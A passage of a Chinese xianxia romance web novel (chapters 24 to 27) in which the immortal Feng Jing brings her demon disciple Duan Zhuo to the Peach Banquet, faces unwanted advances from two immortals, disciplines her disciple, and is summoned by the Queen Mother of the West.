腾云不知多久,终于见到周遭有其他腾云或是御剑的仙,我与云恒同他们打着招呼。
云恒待人热情,而我稍许冷清,不过这只是我的性格,倒也并非是冷眼待他人,只是我一向不习惯与旁人亲昵,且多数时候亦不知该如何去与他人相处,沉默寡言之时稍多。
云恒曾说,儿时我还是个活泼的人,如今却安静得像魂被抽走了似的。
不过我觉得没有她说得这么严重,正是如此,我也免去了许多他人攀谈的麻烦。
24. 第二十四章
从一旁腾云而过的许多仙,我都不大熟,不过面前这两位还算有些熟。
风师、雨伯。
只是我从不与他们闲谈什么,打招呼之时也甚少,却也并非我与他们二位仙君关系不好,毕竟这两位长我近千岁,我还未曾有与他们结仇的机会。
与他们关系不好的是我爹娘,我曾听我娘说过,与风师雨伯这二位关系不好的缘由是,在我还未曾出生前,风师雨伯两兄弟曾与我爹娘打过一架。
我娘说,她与我爹赢了,但是也至此与风师雨伯结仇,打架的缘由,我娘却并未告诉我。
呼风唤雨之仙,最是能嗅出这风中细微的变化,且不说我与云恒身边腾云的这二位还是风师和雨伯。
风师手中的折扇一摇,便道:“今日为何感觉这仙界的风中还有妖的气息?”
雨伯也道:“是也是也,但这妖气单薄,想来是只不起眼的小妖,可为何这般不起眼的小妖也能到天上来?”
云恒道:“想来二位仙君感知到的是碧水瑶台中的魔尊之子段灼,今日的蟠桃宴也邀了他。”
风师眯着眼思索片刻后,像是对这位“魔尊之子”有了些印象,但却并未多言。
雨伯问道:“为何这蟠桃宴会请一个小妖?不过说来,兄长可还记?我第一次见到那小狼妖之时,曾与你说过,我想收他为徒。”
风师则是睨着自己弟弟道:“就你那脾性,怕是教了两日便想将人丢了,就像之前那般……”
他们二人三两句后,便腾着云销声匿迹了。
*
不多时,便到了昆仑山金池宴场附近,时候还早,宴场中却已有好些仙在了。
远山落黛,仙泽缭绕,自远处腾云而来的仙,行于宴场中的仙娥,今日的蟠桃宴也亦如往年,好不热闹。
我与云恒方落地,便能听见鼎沸的人声。
五年,于仙而言可能只是转瞬的事,修炼打坐就过去了,而这般热闹的场景,五年一次,他们也是次次不腻。
我本就不喜这般人多的场景,便不想进会场中,宁可在此处等着段灼。
可云恒却喜欢这样的场景。
她挽着我的手,像是将方才那些都忘却了,神色中也带着些对热闹的雀跃,伸长脖颈,左右张望道:“走呀走呀,小镜儿我们进去罢!”
我摇头:“段灼没到。”
云恒丧气道:“偏要他到了,你才进去?你这是给他当师尊的,又不是给他当爹当妈的。”
似乎我的话叫云恒觉得扫兴了,她的神色有一瞬的不高兴。
她又道:“适才你给了段灼些灵力,他御剑不顺,难免慢些,再不济还能通灵,有何好担心的?”
我这才说了实话:“你也知晓,我不喜这般热闹的场景,才用等他做了托词。”
云恒又道:“纵然是他来了,你也是要进去的,不过是早一点和晚一点的区别,既然来都来了,何不先适应一下?”
那也是,且我也想我只是段灼的师尊,又不是他爹娘,为何要等他。
我与云恒道:“走吧。”
云恒见我想通了,喜笑颜开,便拉着我往金池宴场中去。
云恒与我绕过人群,与几个相熟的仙打了招呼,我也被迫与他们打招呼,实则我与他们也并不熟,更是说不上一句话,打招呼也尬笑过之。
于是趁着云恒与旁人闲谈的间隙,我逃到了人烟稀少处。
我正仰头盯着那昆仑山尖上的点点落雪出神之时,不知何时从何处走来一个仙君,身着仙界人人都穿着的白衣,他笑眯眯道:“女仙安好。”
我却并不知晓他是在与我说话,还在兀自走神。
直至他走到我面前,又朝着我唤了一声:“女仙?”
如此我才回过神来。
说实话,面前这张脸我从未见过,我也并不认得他,想来这仙君应当是近些年来才飞升的。
出于礼貌,我亦道:“仙君安好。”
我以为,互相打过招呼便罢了,谁知他停在我面前不走了。
他的神色猥琐,在我身上流连,像是将我从上到下、从外到里,审视了一遍又一遍。
如此行径,让我觉得不舒服。
他虽然唤我“女仙”,却似乎并未给我多少女仙的尊重。
我的手背于身后,手中的青霜剑好似顷刻间便要幻化出形状来,一剑刺穿他的心。
我自小得爹娘的教诲,若是被旁人不尊敬,就算是打回去也无妨。
当然,我并未贸然出手,好歹活了百年我也不会这般不成熟,此为蟠桃宴,无论我做些什么,都需考虑其中后果。
旁人如何看我,又如何看自幼教诲我的爹娘。
我冷声道:“仙君在看什么?”
面前这所谓的仙君只有五十年修为,在我看来如仙界的孩童一般,他算是天资愚笨的那一类,五十年也并未修炼出个所以然来。
我想起云恒说的,如今飞升者多了,仙界多鱼龙混杂。
我惊讶于,这样的等闲之辈竟也能飞升了,仙界果然是人少了,成仙的门槛都降低了。
他油光水滑的目光还在如蛆虫爬过我浑身上下,甚至坦言道:“在看女仙。”
这样直白的话叫我心中犯恶心,饶是比他修为更深泽的仙,也断然不敢用这种神色看我。
他功力浅薄,不能够探出我的修为,以为我是个在此处偷懒的小仙娥。
探不出来,便以为没有。
他又问道:“女仙可有道侣?”
我道:“有。”
他眉心微微一蹙:“不知女仙的夫君是何人?”
我认识的仙君多是长辈,在仙界久负盛名,若是我随意报了他们的名讳,容易拆穿便罢,还会给他们带来困扰。
于是我张口就来:“魔尊之子。”
而后我看着他嘴角抽了抽。
他问道:“女仙说,夫君是魔尊之子?”
我回答道:“正是。”
纵然我这般说,这人还是不依不饶,他靠近些,我亦往后退两步。
我的耐心见底了。
他抛出了更让我觉得恶心的话:“可我喜欢女仙,不知女仙的夫君可否将女仙拱手相让,我在那方面亦会让女仙
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……”
他这话还未说完,我紧蹙眉心,手中的青霜剑幻化出剑形。
可我还并未出手,刹那间,一道冷光瞬闪而过,穿过我与他之间,我退却两步,那冷光骤然打在了这仙君所站之处,他侧身避开,我手中的青霜也霎时间烟消云散。
打出这道光的人对法术并不熟稔,且……这光还是我的法力。
段灼挡在我身前,他眉峰凌冽,一双漆黑的眸看着面前这只比我高一点,比他矮上许多的仙君。
段灼并未说话,只是手中握着赤赦剑,目光森冷,挡在我身前,看着那仙君。约莫是身形上有些压制,竟叫那仙君真的怕了几分。
段灼亦回眸看向我,那双黑曜石般的眸子流转在我的身上,像是在看我有没有受伤,见我并无伤痕,他才道:“师尊。”
那仙君看出他是妖,又见他称呼我为“师尊”,便有些明白我与段灼的关系,他冷笑一声道:“这便是女仙口中的夫君?女仙真是养了一条好狗。”
“……”
我真想将他的舌头割了,我真后悔方才没有直接将他好打一顿,才得了他在此处多嘴多舌,说个没完没了。
我冷声道:“狗不狗的倒是轮不上仙君多嘴。不过若仙君此刻不走,怕是等会就连最后的体面都抓不住了,这蟠桃宴,可不会请仙君这般修为低下,初入仙界的仙。”
“我顾及同僚颜面,才不与你多计较,若再生事,刀剑无眼。”
我的法力与剑气顷刻间朝他压过去,将他压得面红耳赤,冷汗涔涔,却依旧有些不服气地看着我。
他拂袖而去,只留下一句由衷的胁迫之言。
“你且等着!”
等着就等着,按照他这样的修炼速度,或许修个八百年能堪堪与我追平,还是在我并无半点进步的情况下。
等他走后,我看着段灼的背影,在心中默默叹了口气。
显然,这仙君再如何差劲也终究是仙,不是段灼这般小妖能打得过的。
段灼转头看向我,我才发觉他的脸颊竟泛着些不自然的红,我原是不解,后来才想到,方才我说的话,段灼是听见了,且就算没听见,刚刚那位仙君也挑明了说段灼是我的口中所言的“夫君”。
段灼手中正握着赤赦剑,想来若是这仙君不走,他便要与人家斗法了,还是拿着我传给他的稀薄的法力。
段灼唤我:“师尊。”
这师尊二字,被他咬出了些不可言说的滋味,亦他小心翼翼,似乎是知晓我生气了。
我冷声道:“跪下。”
段灼闻言,骤然跪地,也将手中的赤赦剑也收了回去,真如一只听话的狗。
他垂头,亦闷声道:“弟子知错,还请师尊责罚。”
我问:“你可知你做错了什么?”
我自己也能够很好的解决这件事,不需要任何人帮我,他将这事做得多此一举。
段灼犹犹豫豫,过了许久后才道:“我……不该偷听师尊与旁人讲话,不该听见师尊与旁人说……夫君是魔尊之子。”
“……”
为师的颜面又丢了。
25. 第二十五章
我道:“权宜之计。”
段灼跪着,将头埋低了,他着一身玄色,约莫是妖,肤色近乎于苍白,高扬的马尾别在一旁,脖颈处一道依稀可见的红。
想来……是羞怯之色。
段灼闷声道:“弟子知错。”
我道:“我看你到如今也不知自己究竟错在何处。”
“弟子……”
我道:“过来。”
段灼跪着往前挪了两步,将低垂的头凑了过来,并未多言。
我想他心中一定觉得自己没错,他的出现保护了我这个师尊,可他究竟有没有想过,我是否需要他的保护。
我道:“抬头。”
此处人烟稀少,那仙君走后,便再无旁人的气息。
段灼抬头,我看着他苍白的脸颊上微微泛着红,他看向我的神色如暮霭沉沉。
我一巴掌将他的脸扇到一旁,他指尖微颤,带着麻木的疼痛让他想伸手抚摸脸颊,最终却又将手垂下,少年的神色中倾注了些倔强,这样的神色正落在我身上。
苍白脸颊上的红痕愈发明显。
我冷声道:“我原不想训诫你,只是此事你做得太过,此处是仙界,而非魔宫,你可知你作为妖魔,与一个仙君作对有何下场,若是他计较起来,你又该如何?”
段灼低下头,手亦握成拳,他的声音比方才还闷:“弟子……知错。”
如此,我作为师尊,需做的是叫他真真切切知晓自己究竟哪里错了,教他如何在天上做一个遵纪守法的好妖。
他的声音听起来有些委屈:“我只是……只是担心师尊。”
他又复抬头看着我,那漆黑又寂静的深潭中,好似有滚滚而下的泪,他总是能叫眼泪这般轻易就落下。
我道:“我是你师尊,你的担忧只会给我造成麻烦,而我最讨厌麻烦。”
“我只应允了你用我的法术来御剑飞行,而非攻击旁人。”
段灼好似还有别的话想与我说,可最终却只道:“弟子知错。”
我看着他脸颊处愈发显眼的红痕,原本想过今日宴会便不训他了,谁知他竟做出这样的事来。
其实我也得反思一下我自己,毕竟其他弟子我从来都不扇巴掌的。
且我这巴掌究竟有没有对段灼起到一个教化的作用?
想来是没有的,我从他的神色中只看到了伤心,并未看到认错。
是了,教化的方法有许多种,而我扇巴掌,只是为让自己心头舒坦,让段灼难过,是我对他的私人恩怨,而非行教化之事。
我扇他巴掌是因为我想这么做,且他也并不会还手,故而我便这么做了。
如此一想,其实我并非是个好仙,也不是个好师尊。
我碰不得男子,但却能够触碰段灼。
段灼的脸是冷的,是软的,一巴掌下去叫我心中都有一种从未有过的舒爽之感,心中的气也去了一大半。
虽然我这一巴掌下去不为惩戒,不为教化,可段灼不知,那我在他眼中便是为了教化,而非为了其他。
打脸,未免伤自尊,会叫他目色漆黑,眼角微红,敢怒不敢言。
可自尊都是自己给的,而蝼蚁是没有自尊的。
我看着他跪于地上的模样,我想他如今应当是恨我的吧。
我无法理解他的行径,他亦无法理解我的厉声责备。
我道:“起来。”
但就算是段灼这般,在仙界如蝼蚁的生命,也想要争取自己的自尊,段灼抬起一双神倔强的眼看着我。
他跪得挺拔,唇也抿成了一条线,我看着他眼中逐渐浓郁的恨,如同他额间的朱砂,像一道经年累月的疮疤。
他闷声道:“师尊责罚我,却从未……夸过我。”
我看着他这少年的面容,说的话却如半大孩童。
纵然是儿时的我想得到爹娘的夸张,却也不会在他们生气时,张口去要,或是觉得委屈。
我问:“你做过什么能叫我夸你的事吗?”
段灼低头,像在思索,不知过了多久,他摇头吐出二字:“未曾。”
我道:“若你做了对的事,我自然会夸你,凡人都知‘无功不受禄’一言,你却不知?既毫无缘由,你凭何得到夸奖?”
其实我心中又在想,纵然是将我夸得天花乱坠,夸奖于我而言,却也只是一句轻飘飘的话,我并不能从这话中得到什么。
为何他这般想要夸奖?
我又设身处地想,这便是小孩心性?毕竟我少时,也曾经希望通过修炼得到爹娘的夸奖。
段灼起身,他像一座山似的,比许多仙君都高,我与他站在一处,却也不到他的肩。
妖族男子,肩宽体阔,但段灼亦有少年身段,体态纤长,不是我刻板印象中壮硕的妖族男子。
我寻思,段灼化形也并无几年,且碧水瑶台也并无好吃好喝待他,他究竟如何长这么高的?
段灼跟在我身后,沉默不言,像一棵老树,又着一身仙界人不常着的玄衣,周身缭绕着若有若无的魔气,亦有仙不敢靠近,不过好处是能够避免大部分想与我交谈的仙。
但是却也有一部分避免不了的。
昆仑山地基稳,是西王母所居之处,与我的碧水瑶台不同。
我的修为再如何强过同辈之人,却也比不上西王母这般上古女神。
但我约莫还是能感受到方才地面微不可闻地轻轻颤抖了一下,随着这样轻微的颤动,从不远处的仙云上下来了一个人。
说是一个人,实则是一座山。
这是芜奚仙君来了。
不仅是我,就是别的仙的目光也被吸引过去。
不过芜奚却不在意这些,他神色得意,似乎觉得旁人的目光是尊敬他,甚至是羡慕他,他眼中看不到自己如此丑恶的一面。
芜奚的目光扫过众仙,他的神色与身上的肉一般叫人觉得看了油腻。
最终,这样油腻的目光定格在我身上。
我:“……”
我心道,方才就应该与段灼一直待在那处,这样就碰不到芜奚了。
他缓缓挪动,到我面前已是气喘吁吁,却还是费劲开口道:“封镜女仙,许久……不见。”
我也忍着心中的难受与恶心,同行礼道:“芜奚仙君安好。”
看吧,就算是我都需要在旁人面前装一装,段灼却敢对仙大打出手,还真是不知者自负。
芜奚仙君对我露出一个笑,脸上的肉都挤到一处,像一只皮肉搓成一团的肥猪,叫我就算是逼迫自己,亦没法对这个笑有些别的反应。
他越过我,看向我身后的段灼,问道:“这位是……”
“妖?”
许是从未看过我身边有别的男子,芜奚的目光落在段灼身上未曾移走。
这时我已经在担心段灼此时又做出一些骇人听闻的事,比如用我传输给他的,不多的法术恶狠狠似地打在芜奚仙君身上。
我回头看段灼,他对上我的视线。
芜奚看他,他亦又看着芜奚,神色寂寂,微微颔首,模样有些冷漠,像一柄沉默寡言的剑。
我道:“这是我的弟子段灼,他是魔尊之子。”
芜奚仙君问:“既然是妖,为何来此?”
我听出了他话中的一些含义,好似他觉得我不该将段灼带来,甚至有些训诫之意。
可他既非我的父母,更非我的师尊,如此训诫实在是让我觉得被冒犯了。
我道:“他为何来这里?那芜奚仙君为何来这里?”
芜奚仙君一愣,他并未想过我会多问他这一句,脸上的肥肉横了起来,双手一拱,佯装有有礼道:“自然是西王母娘娘请我来的。”
我心中却冷笑,想来西
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王母也并非请他,而是请了他的夫人,只是不知何缘由,来的是他。
我道:“那仙君觉得,我为何来这里?”
芜奚估计还是不解我为何问一些明知故问的东西。
他道:“封镜女仙来,自然也是西王母娘娘宴请的。”
我道:“你我二人如何来此的,段灼便是如何来此的。”
不只是芜奚,周边别的仙也闻言震惊,毕竟他们都能察觉到段灼是个妖。
芜奚虽惊讶,却还是点头:“原来如此。”
那肥肉横生的脸努力凑近,脖子伸长,仔细看着段灼,问道:“不过,我为何觉得我曾见过这小妖?”
“小妖”二字他尚且可以心中想,却不能说出来,毕竟段灼是魔尊之子,论一个“小”字,芜奚的地位甚至还不如段灼。
大家彼此自然心照不宣,却谁也没将这得罪人的话说出来。
我腹诽道,他这副模样像你少年之时,你若是从前日日都照镜子,自然会觉得眼熟。
我道:“段灼从未去过其他仙宫,想来芜奚仙君是认错了。”
饶是如此,我也并不希望芜奚看出来,毕竟在我看来,他是个多嘴多舌的仙。
且指不定认出来后,会觉得我对他还有意思。
这些年,我受够了芜奚的骚扰。
段灼立在我身后,并未说话,我却能感受到他的森冷目光落在芜奚身上,这样的目光饶是我也从未在段灼身上看到过。
我背在身后的指尖,无意间触碰到段灼略微带着些凉意,且在轻轻颤抖的指尖。
我突然的触碰,似乎叫段灼微微一怔,他的目光落在我身上,神色也与方才看芜奚的不同,可我却读不懂他的含义。
我以为段灼会避开我的手,谁知他竟反倒像不怕死似的紧紧勾住我的指尖。
我早就知晓,段灼最擅长的就是认错,但从来都不会改正。
众目睽睽之下,虽然没人能看到我与我这妖族弟子指尖勾连的暧昧亲昵模样,却还是让我觉得他此举无比放肆。
方才还眼巴巴想要我夸他,如今的行径,就是我事后扇他巴掌,骂他,都是应该的。
约莫是感觉到我并未挣扎,段灼的视线又落到了芜奚身上,亦如方才那般森然。
让我不禁觉得,他与芜奚前世是不是有大仇大恨。
芜奚还在兀自说着:“我还是觉得,封镜女仙你这弟子,我曾见过。”
他好似看不懂段灼的眼神,亦或是对他的眼神视而不见。
不过我能理解,毕竟在芜奚心中,天上的仙分为两类,一类是嫉妒他的,一类是羡慕他的。
他太过于自大,所以才读不出段灼神色中的含义。
“……”
纵然段灼的容貌很像芜奚仙君少年时,但显然如今芜奚仙君这副模样更能给仙带来深刻印象,估计别的仙早已忘却了曾经他也有过少年样貌,只记得今日他这副肥头大耳的猥琐模样,叫人见之厌恶。
芜奚此话一出,我感觉身后的目光像是要将我的眼前这肉山剁碎来喂狗。
段灼似恨极了芜奚,森冷的目光要将我的身体穿透。
我的指尖与段灼的指尖紧紧相连,我感受着他的指骨因这无比强烈的情绪轻微颤抖。
而我也有些好奇这其中的缘由,难道他与芜奚曾经认识?
可芜奚的表现却不像,像是只对段灼这容貌眼熟。
段灼在我身后轻声说了两个字,我尚且还未听清,这二字便随着风飘散了。
那风声灌入我的耳中,我回头窥得段灼眼中的恨,但是他在看到我回头的瞬间,目光却柔软起来,神色也不如我感受到的那般凌冽。
我一愣,我好似明白方才段灼说的,随着猎猎风声飘散的那二字究竟是什么了。
他说的应当是。
“去死。”
26. 第二十六章
这样直白的话叫我心头一颤。
看芜奚的话,我看不出他与段灼究竟有多少关系,但段灼却让我觉得他们有深仇大恨。
但我并未表现出来,只看向芜奚道:“仙君与他并未见过。”
“他也并非仙君口中的‘小妖’,而是魔尊之子。”
其实方才我便说过段灼是魔尊之子,只是芜奚像是眼睛不好使,耳朵也不好使,非要叫人家小妖。
虽然在人后,我也会称呼段灼为“畜生”“逆徒”,可人前终究是不一样的,段灼是我的弟子,旁人说他如何,却也都是在打我的脸。
我道:“就算见过又如何?我竟也不知芜奚仙君与妖族的男子也有前缘可续。”
此言一出,芜奚仙君那张面容上,青一阵,白一阵怒目圆瞪看向我,一时间竟说不出一句话来。
我厌恶芜奚对我说话的态度,亦也不想任他随心所欲。
想来在场的仙对芜奚仙君是何种性情都略有耳闻,无一人帮他说话,亦有女仙在捂嘴偷笑。
这样的目光,饶是他再钝拙,却也能够感受出来。
如今他在众仙眼中并无形象可言,他却还是要一些他那虚无缥缈的面子,因为本人并不知自己在他人眼中是什么样的。
不过也罢,我要面子,方才的仙君要面子,如今的芜奚仙君亦要面子,我们这些仙,就是要面子的一生。
芜奚在众仙面前与我说话,并不像只有我与他在之时那般没脸没皮,人多亦有人多的好处。
他气得拂袖而去,却因体型庞大,走路速度极慢,走了许久都还未曾消失在众仙的视线中。
等芜奚仙君走远后,周遭众仙投来的目光也散去,我毫不留情面将我的指尖从段灼的手心中拔出来。
他的手与我的手黏得特别紧,如同往日里他看我的眼神那般,纵然我用力了,他却也是一副不愿意松开的模样,直至我回头给了他一记眼刀,他这才松手。
他看着我的神色如小狗似的,脸颊处的红痕越发鲜艳,与额间的一点朱砂几乎同色。
我抬头看他,抬得我脖子有些痛,我实在想不明白他这么高大一个,如何能做出小狗似的神色。
且这实在是与他方才在我身后释放出的,对芜奚的浓烈恨意反差太大了。
他看向我,那恨意尽数消弭,就像是方才他那随风飘走的两个字一般。
我用只有我与他能听见的声音问他:“你可觉得自己此番行径有些放肆?”
我看着他脸颊处的红痕和有些委屈的神色,有些气不打一处来,别说是心软了,我多想给他另一边脸也扇上一巴掌,叫他对称才好。
段灼垂眸,认错道:“弟子知错。”
但我知道,他一般都只知认错,不见改正。
我又问:“你与芜奚仙君从前见过?你们二人之间究竟有什么深仇大恨?”
在我看来,这二者之间是八竿子打不到的,但方才段灼神色中的恨却不像假的。
这时却有一仙娥至我与他身前,行礼道:“见过女仙,王母娘娘让我来与女仙说一声,蟠桃宴后,请女仙与身后这位一同去她殿中,有要事相商。”
我微微点头:“劳女仙通传。”
如此看来,西王母却并非是让段灼来长见识,而是叫他来有事商量。
究竟是什么事呢。
我还想继续方才的问题,但这时蟠桃宴会也即将开场,一干端着玉盘的仙娥鱼贯而入,他们手中的玉盘里,盛放的都是个个浑圆的蟠桃,叫人垂涎。
我的话音亦收了回去,想着之后再问罢。
只是这蟠桃我自小吃到大,少说也有十多次,早就吃腻了。
这时云恒也绕过仙群,走到我面前,小声抱怨道:“封镜,你去何处了?我才与旁人说两句,转身你就不见了,叫我一顿好找。”
我道:“去没人的地方躲清静了。”
我又问她:“为何不用通灵寻我?”
云恒的眉心蹙得更紧了,她道:“此处仙太多了,通灵也接不出去。”
她看了看我身后的段灼,努了努嘴,不满道:“你可是撇开我去寻他了?”
我摇头:“是他自己来寻我的。”
云恒似乎有些不信,却也并未多问。
宴席即将开场,众仙都自寻去处坐下了,云恒亦道:“先找个地方坐下吧。”
云恒牵着我的手,段灼跟在我身后,我偶尔会回眸看他可有走散,却能一直看到段灼正在不远处跟着,只是他的神色有些不对,似乎一直落在云恒牵着我的手上,不知在想些什么。
我也没管。
终于寻了个合适的位置,我们几人坐下,我左边是云恒,右边是段灼。
他身着玄衣,坐于一干着白衣的仙中,难免有些格格不入,遭人非议。段灼安安静静的,并未说话,他向来沉默寡言,不听他人所言,想来这些非议也并未进入他的耳中。
云恒是个话多的主,总拉着我说这说那的,纵然我对她说的这些都不是很感兴趣,但也会偶尔回她两句。
我偶尔会将视线落在段灼身上,他背挺直了坐在我身边,不说话,还有些出神似的。
我听见坐在段灼身边的女仙问他:“仙君是何处的仙?”
我看着那女仙眼冒金星,显然是有些看上段灼。
她会叫段灼“仙君”约莫是因为她的修为较低,探不出段灼浑身的魔气,又探不出仙气,这才以为他是某位仙君。
这女仙模样青涩,断不会被邀请来蟠桃宴,我怀疑她应当是某位仙的女儿。
段灼道:“我是妖。”
我以为这女仙会失望,谁知她的眼眸更亮了:“那不知你是何处的妖?”
我以为段灼会说酆都城,魔尊之子,毕竟这样听起来还有牌面一些。
可他却说:“碧水瑶台。”
“碧水瑶台”四个字下去,就像在宣告着他有主。
一旁的云恒不满道:“封镜封镜,你可有在听我说话!”
我对答如流:“你方才说,你旁边的旁边的旁边的仙君,前几日与芜奚仙君吵架,但是没吵过。”
纵然我回答出来了,云恒还是不满,她道:“你分明就是在用三分神魂敷衍我!”
是的,我们仙就是这般,既可以全神贯注听,又可以两分听这边,八分听那边。
被发现了,但是我还是脸不红心不跳道:“我并未如此。”
云恒恼了,还想说些什么,上空却传来一阵青鸾引颈长啸之音,想来是西王母的凤驾将至金池宴场。
这时,云海分至两边,青鸾振翅,其羽映得千山披彩。
鸾驾之后,车幔扬起,见一女子容颜清丽,仪态雍容,戴玉胜,佩虎齿,这便是西王母。
跟在她身后的仙娥皆披羽衣,西王母步履缓缓,穿过群仙。
众仙纷纷起身行礼,道:“见过王母,愿瑶池清气灵泽三界。”
西王母道:“诸位请起。”
蟠桃宴五年一次,其作用说来也简单,
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实质是五年一次的仙界总结大会。
不仅是本就在仙界的,就连远在五湖四海的仙,或是在游历,或是在济世,这一日都会回到天上,聚集在此处。
西王母宴邀众仙所认可的仙,对过去五年众仙的修行及仙界的发展作出总结,对往后五年仙界发展及众仙修炼作出一个希冀。
如此无趣的宴会,五年一次,就跟云恒口中人间皇帝日日都会进行的早朝一般。
西王母站在高台上,说些关乎仙界这五年的发展。
不过这些都与我无关,我来只是因为推脱不掉罢了。
这冗长的内容与仙界天律有得一拼,没一会儿我便有些犯困了。
我用手撑着脸颊,闭着眼,眼前开始描摹梦中的山,梦中的水,我站在高处,汲取这新鲜的空气,好不自在。
可不知是何人这般大胆,在梦境中将我轻轻一推,我从山巅骤然跌落至地面,惊醒了。
我似乎落入了一个人温暖的掌心中。
我睁开眼看着段灼,他伸手捧住我的脸颊。
见我睁开眸,他的神色变得不自在,甚至有些错愕,他似乎并未想到我这么快就醒了。
段灼捧着我的脸颊,他手心温热,还有些薄薄的茧,正是平日里劈柴、练剑而来的,正在轻轻摩擦着我的脸颊。
我看着他,他亦看着我,他的神色因为我的眼神愈发不自然了。
这时,我听见了身后轻轻的咳嗽声。
我的右边是段灼,那咳嗽声便是左边的云恒传来的。
我猜云恒看见了段灼捧着我的脸颊,估计过会儿我要被她好一顿审问了。
段灼小声与我道:“我并非有意的,是方才师尊睡过去了。”
我:“……”
我人虽然还没清醒,却也没死,他直接讲出来,倒是叫我觉得有些丢人。
我小声道:“我知晓。”
我从段灼的掌中起来了,我转头看向云恒,不再看段灼。
不过我还是下意识往四面看了看,并无仙注意到我与段灼后,我才松了口气。
我的脸颊有些烫,却也不知是会场仙人众多热的,还是因为别的。
我却一愣,这样想却更如胡言乱语,我既为仙,常年体内恒温,又怎会知热?
另一边云恒与我道:“小镜儿,你总是不爱听这些,若是困了,可靠在我肩上。”
我摇头:“我不困。”
不困,只是听得太无趣了,这才睡着了,我的生物钟白日里可不会响。
云恒点头道:“想来很快便结束了。”
“很快”究竟是多久,谁也不知道。
西王母虽然已经活了几千年,却也并非苍颜白发,看着如同与我娘那般同岁,说起话来却絮絮叨叨。
又过了许久,我听见高台之上的西王母道:“请诸君来年莫忘来时路,勤于修炼,为我仙界乃至人间,行大道之义!”
想来是终于结束了。
此言过后,便是仙娥们纷纷然,将浑圆的蟠桃端于桌上,这蟠桃是每人只一个的,可以即刻便吃,亦可带走。
旁边的云恒歪头看了过来,指着我面前的蟠桃问道:“封镜,这蟠桃你可吃?”
我摇头:“不吃。”
她欢喜道:“那我带走了!”
云恒又问:“那这蟠桃你这徒儿可吃?”
我转头看向段灼:“这蟠桃你吃吗?”
我想段灼这般没见过世面的小妖,想必是垂涎这蟠桃的。
27. 第二十七章
段灼却并未将目光分给那蟠桃半分,只是看着我道:“我不吃。”
云恒迅速将蟠桃收入囊中,像是怕段灼反悔一般,高兴道:“那我一起拿走啦!”
目睹她这一番行径的我着实无语,按理来说,这蟠桃我与云恒都是从小吃到大的,早该腻味了才是。
*
参加蟠桃宴的众仙家都是相处百年千年往上的,多会在宴会结束后多闲谈几句。
但我除了云恒并未别的挚友,只偶尔会有我爹娘的旧友来与我讲话,多是长辈与晚辈的寒暄,他们从不与我说起我爹与我娘的事,怕我因此难过。
宴会结束后,我准备先与段灼一同去见西王母,再回碧水瑶台。
我起身往外走,云恒从身后叫住我:“小镜儿,你去何处?”
我道:“昆仑山主殿,方才有一仙娥说,西王母与我和段灼有要事相商。”
云恒闻言,有些惊讶,小声嘟囔道:“寻你就算了,毕竟你已是王母娘娘那处的常客了,寻他是为何?”
我摇头道:“我可不知。”
云恒道:“我等你一起回去。”
我摇头:“你自行离去罢,我们也并不顺路。”
云恒佯装伤心,可怜巴巴看着我道:“若是有心,在何处能不顺路!”
我直言道:“其实你是想多与你那些好友聊天罢?”
云恒惊讶道:“你怎会知晓!”
我道:“在你觉得自己最了解我之时,我亦了解你。”
云恒闻言一怔,随后又笑了出来,那笑竟然有些甜滋滋的,她拉过我的手道:“我边与他们说话边等你,若是他们走了你还没来,我也等你。”
她既如此说,我便不好再多说拒绝的话,若是再多说几句,她伤心了我便又要去哄上两句,我可并不擅长这个。
段灼在一边听着我与云恒说话,并未插嘴,只偶尔抬眸看我,与我对上神色又撇开,又看向云恒,他看云恒的神色有些奇怪,像是探究,叫我有些读不懂。
除了看我,段灼很少仔细看他人。
我并未多问,而是带着段灼往昆仑山的主殿去。
可老实说,我对昆仑山的印象并不好,我来过许多次这仙泽缭绕的昆仑仙山,也知晓西王母通常都在哪里。
“……”
我往前走了两步,又停了下来。因为我感受到身后好似有人正用怪异的神色看着我,我说不清那种神色的意味,只是叫我觉得像林间恶心的毒虫在暗处窥探。
我回头,却只看到金池宴场中仙都各聊各的,其中还有云恒,她正不知与旁边那女仙在说些什么。
并无一人看我。
我的感觉是不会错的,只有可能是那人隐藏得极好。
段灼也顺着我的神色往那边看去,他应该并未感觉到什么,不过是见我回头,他才回头的。
谁知段灼眉心微微一蹙却道:“方才我感觉有人正在看师尊。”
我惊讶:“你也感觉到了?”
难道段灼的修为精进了?
不过也不应该啊,毕竟那人只看我而并非看他,照理他是不会感觉到视线。
段灼微微点头,对上我有些不可思议的神色,他似乎明白了我的错愕,又埋下头,耳尖有些泛红,只闷声道:“但回头却感觉不到了。”
段灼又道:“这样的视线让我觉得很讨厌,很恶心。”
他低垂着头,我却能从他眼眸中看到一丝嫌恶,不像假的。
这样的神色让我觉得与“去死”二字同样奇异。
不过倒是与我从桃花精那处知晓的,段灼的形象有些重叠,我仔细看着他,心中却不断猜想着他究竟是个什么样的妖。
究竟是会在我面前流泪哭泣,受伤难过又胆小的妖?
还是在桃花精口中,动辄便要将桃花树砍了烧柴的妖?
亦或是……我梦中那般全然不同的妖?
我看着段灼,段灼的神色却定格在旁人身上,我顺着段灼的神色看过去,发现他在看云恒,方才他也曾看着云恒。
我心中产生了一个让我自己都觉得惊讶的想法,难道段灼以后权倾仙界,会迎娶的美娇娘是云恒?当然这也只是我的猜测。
段灼的目光黏在我身上,我感受到这目光,这才回神。
我道:“走吧。”
段灼跟在我身后,唤道:“师尊。”
我停下脚步:“何事?”
“弟子有个问题想请教师尊。”
“说。”
段灼问道:“云恒女仙,究竟是男子还是女子?”
“……”
这个问题却叫我有些失笑,云恒除了比寻常女子高一些,她生得貌美,招人喜欢,可为何段灼会问出这种问题?
虽然云恒那一族的性别可以自行分化,但云恒早已分化成女子,不然我如今也不会任由她平日里与我的亲密行为。
毕竟我与男子接触是会身上不舒服的。
我反问:“你都唤她‘女仙’了,这还不明显吗?”
段灼却不说话了,只是看着我,那双漆黑的眼睛好似要将我笼罩在其中。
过了许久后,他才答道:“明显。”
我问:“难道在你们酆都,男子与女子从外貌上也分别不开吗?”
段灼摇头道:“并非这般。”
我想起了方才的事,又问道:“方才你看芜奚仙君的眼神叫我觉得你与他有仇,你们从前认识?”
段灼却看着我反问道:“师尊讨厌他吗?”
我道:“这与你并无关系,这与我问你的问题亦并无关联。”
段灼像是接受了我这个回答,微微点头“嗯”了一声。
他又道:“这与师尊问我的并无关系,但于我而言却很重要。”
我问:“重要在何处?”
段灼道:“这与师尊并无关系。”
我:“……”
段灼的神色并无报复的意思,反而有些少年人的真诚,却叫我看得不爽,想来他是不愿与我多说,那我也不想再多问,而后我与段灼一路无言。
*
